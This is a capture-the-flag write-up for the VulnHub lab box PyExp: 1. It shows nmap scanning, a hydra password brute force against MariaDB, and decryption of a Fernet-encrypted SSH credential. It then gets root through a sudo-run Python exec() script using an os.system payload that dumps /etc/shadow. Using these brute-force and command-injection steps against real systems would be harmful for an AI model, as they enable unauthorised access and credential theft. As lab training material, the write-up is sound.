Contents

VulnHub | PyExp

Box Information

Name: PyExp: 1
Release Date: 11 Aug 2020
OS: Linux
Difficulty: Medium/Intermediate
Creator: 0xatom
Download: VulnHub

Recon

nmap

TCP

Using nmap, we’re able to find two open TCP ports: “waste” (1337), mysql (3306).

kali@kali:~$ sudo nmap -p- --min-rate 10000 192.168.210.118 -Pn
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-22 18:39 EDT
Nmap scan report for 192.168.210.118
Host is up (0.070s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE
1337/tcp open  waste
3306/tcp open  mysql

Nmap done: 1 IP address (1 host up) scanned in 9.51 seconds

...

kali@kali:~$ sudo nmap -sCV -p1337,3306 192.168.210.118
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-22 18:44 EDT
Nmap scan report for 192.168.210.118
Host is up (0.060s latency).

PORT     STATE SERVICE VERSION
1337/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 f7:af:6c:d1:26:94:dc:e5:1a:22:1a:64:4e:1c:34:a9 (RSA)
|   256 46:d2:8d:bd:2f:9e:af:ce:e2:45:5c:a6:12:c0:d9:19 (ECDSA)
|_  256 8d:11:ed:ff:7d:c5:a7:24:99:22:7f:ce:29:88:b2:4a (ED25519)
3306/tcp open  mysql   MySQL 5.5.5-10.3.23-MariaDB-0+deb10u1
| mysql-info:
|   Protocol: 10
|   Version: 5.5.5-10.3.23-MariaDB-0+deb10u1
|   Thread ID: 39
|   Capabilities flags: 63486
|   Some Capabilities: ODBCClient, LongColumnFlag, Support41Auth, Speaks41ProtocolNew, InteractiveClient, SupportsCompression, Speaks41ProtocolOld, SupportsTransactions, ConnectWithDatabase, SupportsLoadDataLocal, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, FoundRows, DontAllowDatabaseTableColumn, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: 3|9G8#Es3B4y*^~\"*Ipx
|_  Auth Plugin Name: mysql_native_password
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.07 seconds

There is no public facing web service, but we’re able to pull banner info from the SQL server to determine it’s 5.5.5-10.3.23-MariaDB-0+deb10u1 (MariaDB) and we know this is a Debian Linux system.

Attacking SQL

I did some research into this version of MySQL/MariaDB and was able to find several vulnerabilities and exploits, but could not get them working. However, since this SQL server is listening to external traffic we can try brute forcing creds.

HackTricks playbook

Going by this awesome brute force playbook on HackTricks, we see that we can use hydra to perform credential stuffing against the sql protocol. We could also use metasploit’s auxiliary/scanner/mysql/mysql_login (but OSCP prep means not relying on automated exploits - especially for stuff as simple as brute force attacks).

So we’re going to go with hydra.

Brute forcing with Hydra

Using the syntax in the example, hydra -L usernames.txt -P pass.txt <IP> mysql, we can craft our own version of this command. In my case, I’m going to try going for the root SQL account. Note, that’s not the same as the system root account… but it will still be useful if we’re able to get to it.

The command we’re going to use then is the following:

kali@kali:~/Downloads$ hydra -l root -P /usr/share/seclists/Passwords/Common-Credentials/100k-most-used-passwords-NCSC.txt 192.168.210.118 mysql
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-06-22 19:04:05
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
[DATA] max 4 tasks per 1 server, overall 4 tasks, 100011 login tries (l:1/p:100011), ~25003 tries per task
[DATA] attacking mysql://192.168.210.118:3306/
[STATUS] 686.00 tries/min, 686 tries in 00:01h, 99325 to do in 02:25h, 4 active
[STATUS] 686.00 tries/min, 2058 tries in 00:03h, 97953 to do in 02:23h, 4 active
[STATUS] 695.71 tries/min, 4870 tries in 00:07h, 95141 to do in 02:17h, 4 active
[STATUS] 698.40 tries/min, 10476 tries in 00:15h, 89535 to do in 02:09h, 4 active
[STATUS] 697.52 tries/min, 21623 tries in 00:31h, 78388 to do in 01:53h, 4 active
[STATUS] 694.83 tries/min, 32657 tries in 00:47h, 67354 to do in 01:37h, 4 active
[3306][mysql] host: 192.168.210.118   login: root   password: prettywoman
1 of 1 target successfully completed, 1 valid password found

And we’re able to extract the credentials: root:prettywoman for this SQL server. Brute forcing is incredibly noisy activity, and not particularly efficient. As we can see, it took almost around an hour to get these credentials. This world list was also only 100 thousand lines, imagine the time it would take to go through RockYou’s 14,344,399 lines.

Enumerating MySQL/MariaDB

With credentials, we can now move on and see what information we’re able to find in this SQL server. Using this command, we can connect externally to the SQL server:

kali@kali:~/Downloads$ mysql -u root -h 192.168.210.118 -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 88744
Server version: 10.3.23-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>

From here we can start our enumeration process. If you’re not familiar with SQL queries, I HIGHLY suggest you pull up a resource to look at like this one. I’m not going to explain what each query is, or the syntax because quite honestly I’m google searching how to do this stuff myself.

databases

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| data               |
| information_schema |
| mysql              |
| performance_schema |
+--------------------+
4 rows in set (0.064 sec)

This is a list of all the databases on this server, let’s start further enumeration on the first db, data.

MariaDB [data]> use data;
Database changed
MariaDB [data]> show tables;
+----------------+
| Tables_in_data |
+----------------+
| fernet         |
+----------------+
1 row in set (0.061 sec)

MariaDB [data]> desc fernet;
+-------+--------------+------+-----+---------+-------+
| Field | Type         | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| cred  | varchar(255) | YES  |     | NULL    |       |
| keyy  | varchar(255) | YES  |     | NULL    |       |
+-------+--------------+------+-----+---------+-------+
2 rows in set (0.066 sec)

We have two entries under this fernet table, “cred” and “keyy” so let’s dump each of those out:

cred

MariaDB [data]> select cred from fernet;
+------+
| cred |
+------+
| gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys= |
+----+
1 row in set (0.064 sec)

keyy

MariaDB [data]> select keyy from fernet;
+----------------------------------------------+
| keyy                                         |
+----------------------------------------------+
| UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0= |
+----------------------------------------------+
1 row in set (0.062 sec)

Researching Fernet

From our enumeration of SQL, we retrieved a credential and key pair. Assuming that these things go together, it is likely some sort of encryption algorithm. Doing some searching on “Fernet” led me to some documentation on a library within the pyca/cryptography Python module. Apparently Fernet uses symmetric encryption, meaning our potential key is the same one used to both encrypt and decrypt this ciphertext. The documentation even has a script snippet we can use to potentially decrypt this cred:

>>> from cryptography.fernet import Fernet
>>> key = Fernet.generate_key()
>>> f = Fernet(key)
>>> token = f.encrypt(b"my deep dark secret")
>>> token

So let’s run Python from the commandline and see what happens…

Attempting to decrypt via Fernet

kali@kali:~/Downloads$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from cryptography.fernet import Fernet
>>> key = b"UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0="
>>> cipher = b"gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys="
>>> f = Fernet(key)
>>> f.decrypt(cipher)
b'lucy:wJ9`"Lemdv9[FEw-'

Our decrypted text looks to be credentials for user lucy with password wJ9`"Lemdv9[FEw-. So let’s now try SSH’ing into this box (port 1337) with those creds.

shell as lucy via SSH (first flag)

kali@kali:~/Downloads$ ssh lucy@192.168.210.118 -p 1337
The authenticity of host '[192.168.210.118]:1337 ([192.168.210.118]:1337)' can't be established.
ECDSA key fingerprint is SHA256:vCsf55xm10zZX+ZdWt1UgdqD+IW5M7Nl1JHt4zfEzzo.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.210.118]:1337' (ECDSA) to the list of known hosts.
lucy@192.168.210.118's password:
Linux pyexp 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
lucy@pyexp:~$

At this point, we have our first flag - ls ~/*.txt. Since we’ve established Persistence we can now attempt lateral movement, pivoting, or privilege escalation.

sudo privileges

An easy check we can do is running sudo -l to see if this user, lucy, is in the sudoers file and can execute any commands. Remember sudo allows non-root users to execute commands at superuser privilege levels (aka root).

lucy@pyexp:~$ sudo -l
Matching Defaults entries for lucy on pyexp:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User lucy may run the following commands on pyexp:
    (root) NOPASSWD: /usr/bin/python2 /opt/exp.py

researching /opt/exp.py

Since we know /opt/exp.py will run as root, let’s see if we can gather some information on what this script is. We have read access, and here’s what we see:

lucy@pyexp:~$ cat /opt/exp.py
uinput = raw_input('how are you?')
exec(uinput)

Super simple script here, take a user input and passes it as an argument to exec(). To learn more about what that function does, we can read about it here.

root privilege via /opt/exp.py

We know what vehicle will take us to the root flag, but I’m not sure what I would pass in here to get what I want. We know this is a linux system, so I did some research on how to execute system commands via Python and came across this page.

In theory, if we’re able to import the os library, we can do stuff like os.system('cat /etc/shadow') and get it to spit stuff out to us as if we were root. I wasn’t sure how to do this, so I went to google yet again and came across this documentation which tells me I can pass in a module to import by just using this syntax:

__import__('os')

From there, I can use .(dot) notation to access a particular sub-module (in this case, we’re interested in system)…and we can craft a payload like this to test it out:

__import__('os').system('cat /etc/shadow');
lucy@pyexp:~$ sudo /usr/bin/python2 /opt/exp.py
how are you?__import__('os').system('cat /etc/shadow');
root:$6$WjXtMoTRQx7V.N5e$IYT8vSDBZZliMwfLrUaVYktpSak2.L6NyTqG7XGwgNrkK./OZj5H36qiiZ5w4QhQWCQhkRmlOzXuMOJr3aC3T.:18585:0:99999:7:::
daemon:*:18484:0:99999:7:::
bin:*:18484:0:99999:7:::
sys:*:18484:0:99999:7:::
sync:*:18484:0:99999:7:::
games:*:18484:0:99999:7:::
man:*:18484:0:99999:7:::
lp:*:18484:0:99999:7:::
mail:*:18484:0:99999:7:::
news:*:18484:0:99999:7:::
uucp:*:18484:0:99999:7:::
proxy:*:18484:0:99999:7:::
www-data:*:18484:0:99999:7:::
backup:*:18484:0:99999:7:::
list:*:18484:0:99999:7:::
irc:*:18484:0:99999:7:::
gnats:*:18484:0:99999:7:::
nobody:*:18484:0:99999:7:::
_apt:*:18484:0:99999:7:::
systemd-timesync:*:18484:0:99999:7:::
systemd-network:*:18484:0:99999:7:::
systemd-resolve:*:18484:0:99999:7:::
messagebus:*:18484:0:99999:7:::
lucy:$6$qJN3aE/o70f6Djpm$SpwqhZsgheT6jXQ.eKsLJTfCSNvAALXrz6VMmsObx9gBs5oAwBJoGASjAWM6nTxaEuo4/rl1GJMnI7VhfIRVz0:18484:0:99999:7:::
systemd-coredump:!!:18484::::::
sshd:*:18484:0:99999:7:::
mysql:!:18484:0:99999:7:::

Very cool. If we can read /etc/shadow then we can essentially do anything on this box with that method. For our case, we’re going to pass in something like:

lucy@pyexp:~$ sudo /usr/bin/python2 /opt/exp.py
how are you?__import__('os').system('cat /root/*.txt');
5******************************

Post-Root

At this point, since we have a vector of executing arbitrary system commands as the root user, we can establish persistence further by creating new root-priv accounts and engage in further TTPs (exfil, etc).